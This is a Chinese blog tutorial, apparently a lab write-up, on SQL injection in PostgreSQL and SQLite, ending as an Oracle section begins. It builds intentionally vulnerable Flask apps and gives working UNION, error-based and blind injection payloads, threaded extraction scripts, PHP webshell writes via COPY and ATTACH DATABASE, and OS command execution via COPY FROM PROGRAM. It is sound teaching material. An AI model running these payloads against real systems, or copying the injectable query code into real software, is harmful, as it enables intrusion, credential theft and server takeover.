其他系统库类型下的SQL注入

尝试过直接去看别人总结的相关的其他数据库的SQL注入方式，但是感觉很难理解，所以我打算先从学习其他类型数据库的结构逐渐深入

数据库结构

大多数数据库结构都与MySQL相差不大：

MySQL 实例 Instance
  └── Database / Schema
        └── Table
              ├── Column
              ├── Row
              ├── Index
              ├── View
              ├── Trigger
              └── Procedure / Function

在MySQL中，database和schema基本可以看成同一个概念

1 2	CREATE DATABASE shop_db; CREATE SCHEMA shop_db;

这两个在MySQL中差不多是同义用法

不过既然这样设计那为什么还需要schema呢？

schema的核心作用其实就三个词：命名空间隔离、权限控制和逻辑分组，没有schema的架构看起来可以通过下图来表示：

MySQL 实例 (Instance)
  └──企业数据库 (ERP_Database)
        ├──Table: hr_users       (人事部用户表 - 靠前缀区分)
        ├──Table: finance_users  (财务部用户表 - 靠前缀区分)
        ├──Table: hr_payroll     (人事薪资表)
        ├──Table: finance_ledger (财务账本表)
        └──Table: sales_orders   (销售订单表)

如果所有的表都直接堆在database下面，当系统变大时就会出现命名冲突，比如人事和财务都需要一个叫users的表，只能被迫在表名前面加上前缀，导致结构非常扁平拥挤

有schema的话，不同的schema下就可以有同名的表，他们互不干扰，同时可以对某个schema进行一键授权，而不需要逐个表去配置

数据库实例 (Instance)
  └──企业数据库 (ERP_Database)
        │
        ├──Schema: HR (人事专区 - 可打包分配给人事系统权限)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: payroll
        │     └──Procedure: calculate_leave() 
        │
        ├──Schema: Finance (财务专区 - 极度敏感，独立授权)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: ledger
        │     └──View: monthly_report
        │
        └──Schema: Sales (销售专区)
              ├──Table: orders
              └──Table: customers

MySQL

MySQL的查询路径大致是：

客户端连接 MySQL
  ↓
连接器 / 权限验证
  ↓
SQL Parser
  ↓
预处理器，检查表名、字段名
  ↓
优化器，选择索引和执行计划
  ↓
执行器
  ↓
存储引擎，例如 InnoDB
  ↓
Buffer Pool / 磁盘文件

MySQL中比较重要的结构

MySQL Server
├── 连接层
├── SQL 层
│   ├── Parser
│   ├── Optimizer
│   ├── Executor
│   └── 权限系统
└── 存储引擎层
    ├── InnoDB
    ├── MyISAM
    └── Memory

MySQL中常见的元数据位置：

information_schema
# 保存数据库、表、字段等结构信息
mysql
# 保存用户、权限等系统信息
performance_schema
# 性能监控信息
sys
# 性能视图封装

什么是元数据？

通俗地说元数据就是关于数据的数据，业务数据指的是数据库里面存放的具体内容（包括用户的账号密码等信息），元数据记录了这个数据库有几个库名、表名、字段名和数据类型

在元数据information_schema中有三个表：

1
2
3

SCHEMA表：记录了当前MySQL实例下的所有数据库名字（字段名：schema_name）
TABLES表：记录了所有数据库里面的所有表名（字段名：table_name，以及它所属的库名：table_schema）
COLUMNS表：记录了所有表里面的所有字段名（字段名：column_name，以及它所属的表名：column_schema）

MySQL的注入手法其实在之前的文章中已经解释的很清楚了，接下来把重点看到其他类型的数据库吧

PostgreSQL

数据库架构以及核心字段名

PostgreSQL数据库的架构与MySQL最大的区别之一是：PostgreSQL更强调schema，其层级为：

PostgreSQL Cluster
  ↓
Database
  ↓
Schema
  ↓
Table / View / Function / Sequence
  ↓
Column / Row

比如：company.public.users.username表示的是company数据库->public schema->users表->username字段

PostgreSQL的查询路径大致为：

客户端连接 PostgreSQL
  ↓
Postmaster / Backend Process
  ↓
认证与权限检查
  ↓
Parser
  ↓
Analyzer
  ↓
Rewriter
  ↓
Planner / Optimizer
  ↓
Executor
  ↓
Buffer Manager
  ↓
Storage / WAL / Data Files

PostgreSQL的结构大致可以看做：

PostgreSQL Cluster
├── Database 1
│   ├── Schema public
│   ├── Schema admin
│   └── Schema test
├── Database 2
└── 系统目录 pg_catalog

里面一些比较重要的系统结构：

pg_catalog
# 原生系统目录
information_schema
# 标准SQL元数据视图
pg_database
# 数据库信息
pg_class
# 表、索引、视图等对象信息
pg_attribute
# 字段信息
pg_roles
# 角色信息
pg_namespace
# 信息

pg_catalog是PostgreSQL数据库独有的最核心的系统schema（模式），在数据库里创建的所有表、列、视图、索引、函数、数据类型，其元数据全部存储在这里面，相较于information_schema来说，直接查pg_catalog速度快，且能获得更多非标准的底层信息，上述下面的pg_开头的所有表全部位于pg_catalog模式下

PostgreSQL的系统表有一个极其重要的概念：集群级（全局）和数据库级（局部）

集群级

**pg_database**（数据库列表）：里面存储了当前PostgreSQL实例（集群cluster）下所有的数据库名称、拥有者、字符集编码等，类似于MySQL里面的SCHEMATA，核心字段：datname

通常第一步是：

1 2	SELECT datname FROM pg_database; # 查看有哪些库

**pg_roles**（角色/用户权限）：存储了数据库里面的所有用户账号、密码（散列值，但在高版本被移到了隐藏的pg_authid中）、以及他们是否具有超级用户（superuser）、建库、登录权限，核心字段：rolname（用户名）、rolsuper（是否是超级用户）。攻击成功之后如果查询到当前注入点的用户是超级用户（rolname = 't'），那就可以直接尝试命令执行

数据库级

**pg_namespace**（模式列表）：里面存储了当前数据库里面的所有schema名称，核心字段：nspname（模式名）、oid（该模式的唯一编号）。Schema（模式）本质上就是隔离命名的空间，默认创建的表都在public这个namespace里面

**pg_class**（关系列表）：里面存储了当前数据库里面的所有表、视图、索引、序列号，由于早期Postgres，为对象关系型数据库，当时把一张表称为一个类，核心字段：relname（表名/视图名）、relnamespace（所属模式OID）、oid（该表的唯一编号）

**pg_attribute**（属性/列列表）：里面存储了所有表里面的所有字段（列）信息，在关系列表中，表的一列被称为属性，核心字段：attname（字段名）、attrelid（所属表的oid）、attnum（字段在表里的顺序）。等同于MySQL里的COLUMNS

本地搭建靶场测试

可通过下列命令搭建测试靶场，这里用的是kali linux

docker run --name pg-vuln-lab -e POSTGRES_PASSWORD=root -p 5432:5432 -d postgres:14
# 启动一个名为pg-vuln-lab的容器，设置超级用户密码为root，映射本地5432端口
docker exec -it pg-vuln-lab psql -U postgres
# 进入容器的命令行交互界面

进入psql终端之后，依次执行下列SQL语句搭建数据库：

CREATE DATABASE postgre_lab;
\c postgre_lab;
# 创建一个post_lab数据库并切换进去

CREATE SCHEMA FLAG;
# 创建一个FLAG模式(Schema)

CREATE TABLE public.users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)
);
# 在默认的public模式下创建普通用户表
# id为第一列的名字，SERIAL瑟吉欧postgreSQL特有且极其常用的数据类型，代表“自增序列”，在插入数据时不需要手动输入ID，数据库会自动按1、2、3、4的顺序给新数据编号（等同于MySQL中的AUTO_INCREMENT）
# PRIMARY KEY：主键，它宣告id为这一行数据的唯一标识，不能重复也不能为空，数据库底会为他自动建立索引以加快查询速度
# username和password均为接下来两列的名字
# VARCHAR(50)：数据类型，VARCHAR代表可变长度的字符（Vairable Character），50代表这个用户名最长不能超过50个字符

CREATE TABLE FLAG.flag(
    id SERIAL PRIMARY KEY,
    flag2 VARCHAR(100)
);
# 在FLAG模式下创建名为flag的表和flag2的列

INSERT INTO public.users (username, password) VALUES ('admin', 'adminnnnn'), ('guest', '123456'),('flag1','ZLARYY{h0w_h@rd_P05tgr3_SQL!_r3a1ly???}');
INSERT INTO FLAG.flag (flag2) VALUES ('ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}');
# 插入测试数据

{% asset_img 1.png 1 %}

接下来需要编写一个带有漏洞的web后端，首先创建一个名为pg_lab的文件夹，里面放上app.py，在该目录下打开终端执行一步安装操作：

1	python3 -m pip install flask psycopg2-binary

然后将下列内容粘贴到app.py里面：

from flask import Flask, request
import psycopg2

app = Flask(__name__)

# 连接到我们刚才用 Docker 启动的 PostgreSQL 靶场
def get_db_connection():
    return psycopg2.connect(
        host="localhost",
        database="postgre_lab",
        user="postgres",
        password="root",
        port="5432"
    )

@app.route('/user')
def get_user():
    # ⚠️ 经典的漏洞点：直接获取用户输入，不做任何过滤
    user_id = request.args.get('id')
    
    if not user_id:
        return "Please provide an id, e.g., ?id=1"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 致命错误：使用 f-string 强制拼接 SQL 语句，造成注入
    query = f"SELECT username FROM public.users WHERE id = {user_id}"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query: {query}</h3><p>Result: {result}</p>"
    except Exception as e:
        # 将数据库报错直接打印到前端（方便练习报错注入）
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    app.run(debug=True, port=5000)

最后运行这个应用：

1	python3 app.py

然后访问http://localhost:5000/user?id=1，应该能看到正常页面返回了admin

{% asset_img 2.png 2 %}

注入相关符号与函数

注释符：单行注释：-- 与MySQL一样为两个减号，后面通常可以加一个空格

多行/内联注释：/*.....*/，某些情况下可以用来替代空格绕过过滤
关键注入查询函数：
1. version()：获取PostgreSQL的详细版本信息，不同版本的特性（比如RCE的方法）差异很大
2. current_database()或current_catalog：获取当前连接的数据库名称
3. current_user或user：获取当前执行查询的数据库用户名
4. session_user：获取建立数据库连接时的原始用户名
5. current_setting('data_directory')：获取数据库文件的物理存储路径（通常需要较高权限，有助于后续的目录遍历或写文件）
pg_sleep(seconds)：让数据库暂停执行指定的秒数
substring(string,start,length)或substr()：用于逐个字符拆解，可以配合ASCII()和pg_sleep()进行时间/布尔盲注，比如：
1
2
substring((SELECT current_user),1,1)
# 从当前用户名的第一个字符开始截取一个长度的字符
ascii(char)和chr(int)：ascii()可以将字符转为数字，方便使用>或<进行二分法盲注；chr()可以将数字转回字符，如果过滤了单引号导致无法输入'admin'可以采用如下语句实现绕过：
1
chr(97)||chr(100)||chr(109)||chr(105)||chr(110)
类型转换符：::type或CAST(expr AS type)，可以强行将数据转换为指定类型，在UNION联合注入中，如果不知道原列表的类型可以全部强转为文本类型来避免报错：
1
UNION SELECT NULL, 'admin'::text, 'password'::text
字符串拼接符：||，PostgreSQL不支持MySQL中的concat()语法，拼接字符串必须使用管道符，可以实现即将多个字段的结果合并到一列输出：
1
UNION SELECT 1, username || ':' || password FROM users
string_agg()，类似于group_concat()可以直接将返回内容合并为一行输出
读取本地文件：pg_read_file(filename)，可以读取服务器上的绝对路径文件内容，比如/etc/passwd
写入文件与命令执行：COPY ... FROM / TO，原本是用于导入数据的命令，可以实现危险操作：
1
copy (select '<?php phpinfo(); ?>') to '/var/www/html/shell.php'
在PostgreSQL 9.3版本以上中引入了PROGRAM参数，可以直接让数据库执行操作系统命令：
1
COPY 任意表名 FROM PROGRAM 'id > /tmp/hacked.txt';
length()：获取参数字符串的长度

union联合注入

我们所写的app.py文件为数字型注入：

{% asset_img 3.png 3 %}

按照MySQL的查询步骤，接下来用order by判断列数：

{% asset_img 4.png 4 %}

很奇怪了，为什么写的时候明明有id、username、password三列，最后order by 3会报错呢

原因是我们的app.py中写的是：

1	SELECT username FROM public.users WHERE id = {user_id}

order by和union探测的并不是底层物理表有多少列，而是这句SQL查询最终返回多少列，上述这句SQL查询只返回了username一列字段，如果我们加上*变成：

1	SELECT * FROM public.users WHERE id = {user_id}

结果就不一样了，*代表查询所有列，此时的结果集就会包含id、username、password完整的三列

{% asset_img 5.png 5 %}

以上为修改后端代码之后的结果

当我们想利用current_database()查询连接的数据库时，会出现这种情况：

{% asset_img 6.png 6 %}

这就是我们之前在::type提到的类型不匹配，在MySQL中，如果把一个1塞进文本列里，MySQL会把他变为字符串'1'，但是PostgreSQL极度严谨，他的规则是：原查询的数据类型必须与union拼接数据查询类型完全相同，所以在这里我们需要用到类型转换符::type或者直接把3改为字符串类型

{% asset_img 7.png 7 %}

当然用current_catalog也是可以的：

{% asset_img 8.png 8 %}

这样我们就查询出来了连接的数据库名称为postgre_lab，接下来我们可以试试查询所有的schema字段

1	?id=-1 union select 1,(select nspname from pg_namespace limit 1 offset 0 ),'3' --

这里如果我们直接传入：

1	?id=-1 union select 1,(select nspname from pg_namespace),'3' --

会显示返回的结果超过一行，所以我们需要用到limit ... offset ...来进行限制

在之前的SQL文章中提到过其用法：

1 2	limit 返回的数量 offset 跳过的行数所以limit 0,1用offset表示为limit 1 offset 0

{% asset_img 10.png 10 %}

其实也可以直接查询所有的schema：

1	?id=-1 union select 1,nspname,'3' from pg_namespace --

或者利用string_agg()：

1	?id=-1 union select 1,(select string_agg(nspname,'~') from pg_namespace),'3' --

{% asset_img 11.png 11 %}

那么接下来我们试试查询flag这个schema里面的内容：

1	?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace = (select oid from pg_namespace where nspname='flag')), '3' --

这个payload的意思是查询pg_class里面与nspname='flag'相同oid的relnamespace的表名

或者还有一种方法：join联合查询

1	?id=-1 union select 1,(select string_agg(relname,'~') from pg_class c join pg_namespace n on c.relnamespace = n.oid where n.nspname='flag'),'3' --

{% asset_img 12.png 12 %}

在尝试这些payload之前ZLARYY想过这个payload但是是错误的：

1	?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where nspname='flag'),'3' --

这是由于pg_class这个元数据里面没有存储nspname这个字段，只记录了这一个叫做relnamespace的数字编号（OID），用来指向它属于哪个模式schema，所以我们需要利用oid搭桥去找寻我们想要查询的表

接下来我们需要查询flag这个表里面的字段名：

1	?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid = (select oid from pg_class where relname='flag')), '3' --

{% asset_img 13.png 13 %}

这里必须把attrelid后面的判定条件换成表的oid而不能继续沿用查表时候的schema的oid

最后我们查询flag模式下的flag表里面的flag2字段的值：

1	?id=-1 union select 1,flag2,'3' from "flag".flag --

{% asset_img 14.png 14 %}

通过这个流程我们成功查询到了其他schema下的flag，在之前环境配置中我们在当前users的表中也埋了一个flag，我们继续试试

?id=-1 union select 1,current_database(),'3' -- 
# 查询当前数据库
?id=-1 union select 1,(select nspname from pg_namespace),'3' -- 
# 查询所有的schema名
?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='public')),'3' --
# 查询字段名为public下的所有表名
?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='users')),'3' --
# 查询users表下的所有列名
?id=-1 union select 1,(select string_agg(username || '~' || password,'+') from users),'3' --
# 查询username和password并一起输出

{% asset_img 15.png 15 %}

这里不能像MySQL一样使用string_agg(attname,'~',password)，因为string_agg()函数的作用是把多行数据合并成一行。它的标准官方语法是严格的两个参数，所以只能采用||横向拼接列，再用string_agg纵向聚合行

报错注入

类型转换错误

1	SELECT CAST(version() AS integer);

这条命令会因为无法将version()的结果转换为integer而报错暴露原始字符：

1	?id=1 and 1=cast((select current_database() limit 1) as integer)

{% asset_img 16.png 16 %}

1	?id=1 and 1=cast((select string_agg(nspname,'~') from pg_namespace limit 1) as integer)

{% asset_img 17.png 17 %}

后面的流程其实都相差不大只需要修改括号里的查询语句就行，这里直接给出payload吧：

# 查询其他schema下的flag
?id=1 and 1=cast((select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1) as integer)
# invalid input syntax for type integer: "flag_id_seq~flag~flag_pkey"

?id=1 and 1=cast((select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1) as integer)
# invalid input syntax for type integer: "cmax~cmin~ctid~flag2~id~tableoid~xmax~xmin"

?id=1 and 1=cast((select flag2 from "flag".flag limit 1) as integer)
# invalid input syntax for type integer: "ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}"

除了转换为integer还可以转换为numeric、date、uuid、json/jsonB、regclass、xml、integer[]、tsquery等：

?id=1 and 1=cast((select current_database() limit 1) as numeric)
或
?id=1 and 1=cast((select current_database() limit 1)::numeric)

?id=1 and cast((select current_database() limit 1) as uuid) is not null
?id=1 and cast((select current_database() limit 1) as regclass) is not null
?id=1 and cast((select current_database() limit 1) as jsonB) is not null
?id=1 and cast((select current_database() limit 1) as integer[]) is not null

布尔盲注

与MySQL一样我们需要能看到真页面和假页面这个条件，在我们的靶场中可以视作是否返回admin

{% asset_img 18.png 18 %}

{% asset_img 19.png 19 %}

这里我们可以用到的函数与MySQL差不多：

1 2	ascii() length()

1	?id=1 and length(current_database())=11 --

{% asset_img 20.png 20 %}

这样就能判断出数据库名长度为11了

其实都可以参考本博客SQL一栏，原理都是一样的，这里给些payload吧：

1 2	?id=1 and ascii(substring((select current_database()),1,1))=112 -- # 数据库的第一个字符ascii码为112，对应字母为p

{% asset_img 21.png 21 %}

?id=1 and ascii(substring((select nspname from pg_namespace limit 1 offset 4),1,1))=102 -- 
# 对应schema首字母为f
?id=1 and ascii(substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 1),1,1))=102 -- 
# 对应表首字母为f
?id=1 and ascii(substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1))=102 -- 
# 对应列首字母为f
?id=1 and ascii(substring((select flag2 from "flag".flag),1,1))=90 -- 
# flag2字段首字母为Z

时间盲注

用到的函数和条件判断语句：

1 2	pg_sleep() case when ... then ... else ... end;

逻辑也是与MySQL相同

1	?id=1; select case when (current_user = 'postgres') then pg_sleep(5) else pg_sleep(0) end;--

{% asset_img 22.png 22 %}

如果不能使用堆叠注入的话也可以把pg_sleep()放在and条件里面

1	?id=1 and 1=(case when substring(current_database(),1,1)='p' then (select 1 from pg_sleep(3)) else 1 end) --

{% asset_img 23.png 23 %}

?id=1 and 1=(case when substring((select nspname from pg_namespace limit 1 offset 4),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断schema第一个字符为f
?id=1 and 1=(case when substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 0),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断table第一个字符为f
?id=1 and 1=(case when substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断列名第一个字符为f
?id=1 and 1=(case when substring((select flag2 from "flag".flag),1,1)='Z' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断flag2里存储内容第一个字符为Z

脚本探测

可以看到如果想要手动盲注的话那一个一个写未必也太麻烦了，我们试试写两个python脚本探测吧：

布尔盲注：

import requests
import threading

url = "http://localhost:5000/user"

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

result = ""

target = "select current_database()"

max_threads = 10

for position in range(1, 101):
    found = {
        "char": None
    }

    lock = threading.Lock()
    stop_event = threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return

        payload = f"1 and substring(({target}),{position},1)='{ch}' -- "

        try:
            response = requests.get(
                url,
                params={"id": payload},
                timeout=3
            )

            if "admin" in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()

        except requests.RequestException:
            pass

    threads = []

    for ch in chars:
        t = threading.Thread(target=test_char, args=(ch,))
        threads.append(t)
        t.start()

        if len(threads) >= max_threads:
            for t in threads:
                t.join()

            threads = []
            # 把列表清空存储下一列进程

            if stop_event.is_set():
                break

    for t in threads:
        t.join()
        # 最后一批字符集长度不足max_threads所以单独处理

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("读取结束")
        break

print("最终结果:", result)

正常的二重for循环一个一个搜集太慢了，所以加上了线程模块

{% asset_img 24.png 24 %}

时间盲注：

import requests
import time
import threading

url="http://localhost:5000/user"

target="select current_database()"

result=""

threshold=3

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

max_threads=10

for position in range(1,101):
    found={
        "char":None
    }
    lock = threading.Lock()
    stop_event = threading.Event()
    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload = f"1 and 1=(case when substring(({target}),{position},1)='{ch}' then (select 1 from pg_sleep(5)) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"id":payload})
            
            end=time.perf_counter()

            cost = end-start
            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads = []

            if stop_event.is_set():
                break
    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

时间盲注相对于布尔盲注就会慢一些了

SQLite

数据库架构以及核心字段名

SQLite通常没有独立数据库服务进程，它是一个嵌入式数据库，它的层级是：

数据库文件
  ↓
main 数据库
  ↓
表 / 视图 / 索引 / 触发器
  ↓
列 / 行

其查询路径：

应用程序
  ↓
SQLite 库
  ↓
SQL Parser
  ↓
Code Generator
  ↓
Virtual Database Engine, VDBE
  ↓
B-Tree / Pager
  ↓
数据库文件

结构大致是：

app.db
├── users
├── products
├── orders
├── comments
└── sqlite_schema

可以理解为这一个app.db文件就是一个数据库，里面有很多张表，每个表里面有很多列和行

SQLite默认主数据库是main，如果使用临时表还有temp，如果使用ATTACH DATABASE附加其他数据库文件还可能出现其他数据库名，所以SQLite完整对象名可能是main.users，但大多数情况下只能看到users

SQLite的SQL查询执行路径可以理解为：

应用程序调用 SQLite API
  ↓
sqlite3_prepare_v2()
  ↓
SQL Parser 解析 SQL
  ↓
生成语法树
  ↓
生成 VDBE 字节码
  ↓
sqlite3_step() 执行字节码
  ↓
B-Tree 模块查找数据
  ↓
Pager 模块读取页面
  ↓
操作系统读取 .db 文件
  ↓
返回结果给应用程序

SQLite里面有一个很重要的组件：VDBE（Virtual Database Engine）可以理解为SQLite自己的SQL虚拟机

SQLite的元数据表

SQLite里面最重要的元数据表是sqlite_schema，旧资料里经常叫sqlite_master

sqlite_schema里面主要有这些字段：

type
# 记录对象类型，比如table表，index索引，view视图，trigger触发器，类似于pg_class.relkind
name
# 对象的名，例如表名或者索引名，类似于pg_class.relname
tbl_name
# 该对象所属的表名
rootpage
# B-Tree根页，该对象在数据库文件中的根页编号（底层存储结构，安全测试中通常用不到）
sql
# 以纯文本形式记录了当初创建这个对象时的DDL语句，在旧版SQLite注入中，因为没有专门的列名表，大家都是通过读取这个sql字段，利用正则或肉眼从CREATE TABLE语句中提取出所有的列名（比如id, username, password）

PRAGMA函数库：为了更结构化地获取“列”的元数据（类似于PG的information_schema.columns或pg_attribute），SQLite提供了特有的PRAGMA指令，在较新版本的SQLite中可以把PRAGMA当作表值函数在select中调用，核心表值函数：pragma_table_info('表名')

# 核心字段解析：
cid
# 列的ID，从0开始递增
name
# 列名，如id,username，相当于pg_attribute.attname
type
# 列的数据类型，如INTEGER、VARCHAR(50)、TEXT
notnull
# 是否允许为空（1表示NOT NULL，0表示允许为空）
dflt_value
# 列的默认值
pk
# 该列是否为主键的一部分（0表示不是，1、2等数字表示在复合主键中的顺序）

本地搭建靶场测试

首先创建一个sqlite_lab.py文件，SQLite是Python自带的内置库(sqlite3)，所以只需要安装一个Flask即可

1	python3 -m pip install flask

将以下代码复制到sqlite_lab.py里面：

import sqlite3
from flask import Flask, request

app = Flask(__name__)

# 1. 初始化本地 SQLite 数据库
def init_db():
    # 连接到一个本地文件，如果文件不存在会自动创建
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()
    
    # 创建用户表
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT,
            password TEXT
        )
    ''')
    
    # 每次启动前清理一下旧数据，防止重复插入
    cursor.execute('DELETE FROM users')
    
    # 插入测试数据
    cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'super_secret_admin_pass')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('guest', '123456')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('flag', 'ZLARYY{SQ7it3_15_r3@l1y_DiffcUlt?}')")
    
    conn.commit()
    conn.close()
    print("[+] Database 'vuln_lab.db' initialized with test data.")

# 2. 存在漏洞的 Web 路由
@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    # 连接到刚才创建的数据库文件
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()

    # ⚠️ 核心漏洞点：直接使用 f-string 将用户输入拼接到 SQL 语句中
    # 注意这里使用了单引号 '{username}' 把输入包起来
    query = f"SELECT id, username, password FROM users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 将报错信息打印到前端，方便进行报错注入测试
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 启动应用前先初始化数据库
    init_db()
    # 运行在 5001 端口，防止与之前的实验冲突
    app.run(debug=True, port=5001)

最后执行：

1	python3 sqlite_lab.py

之后在E:\OtherSQL\SQLite_lab\目录下就会出现一个vuln_lab.db文件，访问http://127.0.0.1/user?name=admin就能看到正常页面

{% asset_img 25.png 25 %}

注入相关符号和函数

注释符：--或--+，--后面通常需要一个空格才会生效，在URL中常用+或%20代替空格

多行注释：/* ... */，有时候也可以用来代替空格
字符串拼接符：||，SQLite不支持concat()函数
sqlite_version()：获取当前SQLite的版本号
length()：获取参数字符串的字符长度
substr(X,Y,Z)或substring()：从字符串X的Y位置开始截取长度为Z的字符，索引从1开始
unicode()：相当于ascii()函数，返回参数字符串的第一个字符的数字编码
char(x1,x2,...)：相当于unicode()的逆运算，将数字转化为字符
1
char(97, 100, 109, 105, 110)等同于'admin'
hex()：将字符串转换为十六进制格式
group_concat(X)或group_concat(X,Y)：将多行数据聚合为单行字符串输出，X为列名，Y为可选分隔符，与MySQL相同
randomblob(N)：生成一个N字节随机Blob（二进制大对象）数据，当给N赋一个非常大的值，比如randomblob(1000000000)，SQLite需要消耗大量的CPU和内存资源去生成这个随机对象，从而导致查询卡顿
zeroblob(N)：生成一个N字节的全零blob数据，同样可用于消耗内存

union联合注入

1 2	?name=admin' order by 3 --+ # order by判断列数

{% asset_img 26.png 26 %}

1 2	?name=-1' union select 1,sqlite_version(),3 --+ # 查询数据库版本

{% asset_img 27.png 27 %}

由于SQLite中没有database和schema的概念，所以可以通过元数据表sqlite_master来查询所有的表名

1	?name=-1' union select 1,name,3 from sqlite_master where type='table'--+

{% asset_img 28.png 28 %}

之后我们可以通过sql字段查询之前建表的语句从而查询列名：

1	?name=-1' union select 1,name,sql from sqlite_master where type='table'--+

{% asset_img 29.png 29 %}

得到users表里面的列有id、username、password

也可以利用pragma查询列：

1	?name=-1' union select 1,name,3 from pragma_table_info('users') --+

{% asset_img 32.png 32 %}

由于group_concat()函数不支持三个参数所以可以实现分别查询username列和password列：

1	?name=-1' union select 1,(select group_concat(username,'~') from users),sql from sqlite_master where type='table'--+

{% asset_img 30.png 30 %}

{% asset_img 31.png 31 %}

也可以：

1
2
3

?name=-1' union select id,username,password from users --+

?name=-1' union select 1,(select group_concat(username||"~"||password,',') from users),3 from users --+

布尔盲注

原理其实也和之前的一样，利用length()、unicode()、hex()等函数进行挨个字符的判断

1 2	admin' AND substr((SELECT password FROM users WHERE username='flag'),1,1)='Z' -- # 用上unicode()等函数是便于二分法快速找到字符

{% asset_img 33.png 33 %}

那还是直接给个脚本吧：

import requests
import threading

url="http://127.0.0.1:5001/user"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

result=""

max_threads=10

target="select password from users where username='flag'"

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' --+"
        try:
            response=requests.get(url,params={"name":payload})
            if 'super' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

{% asset_img 34.png 34 %}

伪时间盲注

SQLite中没有sleep()和pg_sleep()函数，只能使用randomblob()实现大计算延迟：

1	?name=admin' and case when substr((select name from sqlite_master),1,1)='u' then length(randomblob(10000000)) else 1 end --+

但是这种方式极其不稳定，受机器性能影响很大，所以不太建议使用这个方法，就不过多赘述了

SQL写马

SQL写马利用的是attach database这个东西，还要用上堆叠注入，但是靶场好像不允许一次执行多条命令，显示You can only execute one statement at a time.

给给payload吧：

1	?name='; ATTACH DATABASE 'E:\OtherSQL\SQLite_lab\shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('<?php eval($_POST[1]);?>'); --

在https://xiexie-qiuligao.github.io/2026/02/09/sql/的文章中还提到了一个跨库窃取，需要已知秘密`.db`文件的路径：

1
2
3

ATTACH DATABASE '/var/data/admin_secret.db' AS target;

UNION SELECT 1, password, 3 FROM target.admin_table;

Oracle

数据库架构以及核心字段名

Oracle的整体结构可以理解为：

Oracle Database
  ↓
User / Schema
  ↓
Table / View / Sequence / Procedure / Package
  ↓
Column / Row

Oracle中最重要的一点是：

1	User ≈ Schema

比如创建了一个用户：

1	CREATE USER HR IDENTIFIED BY password;

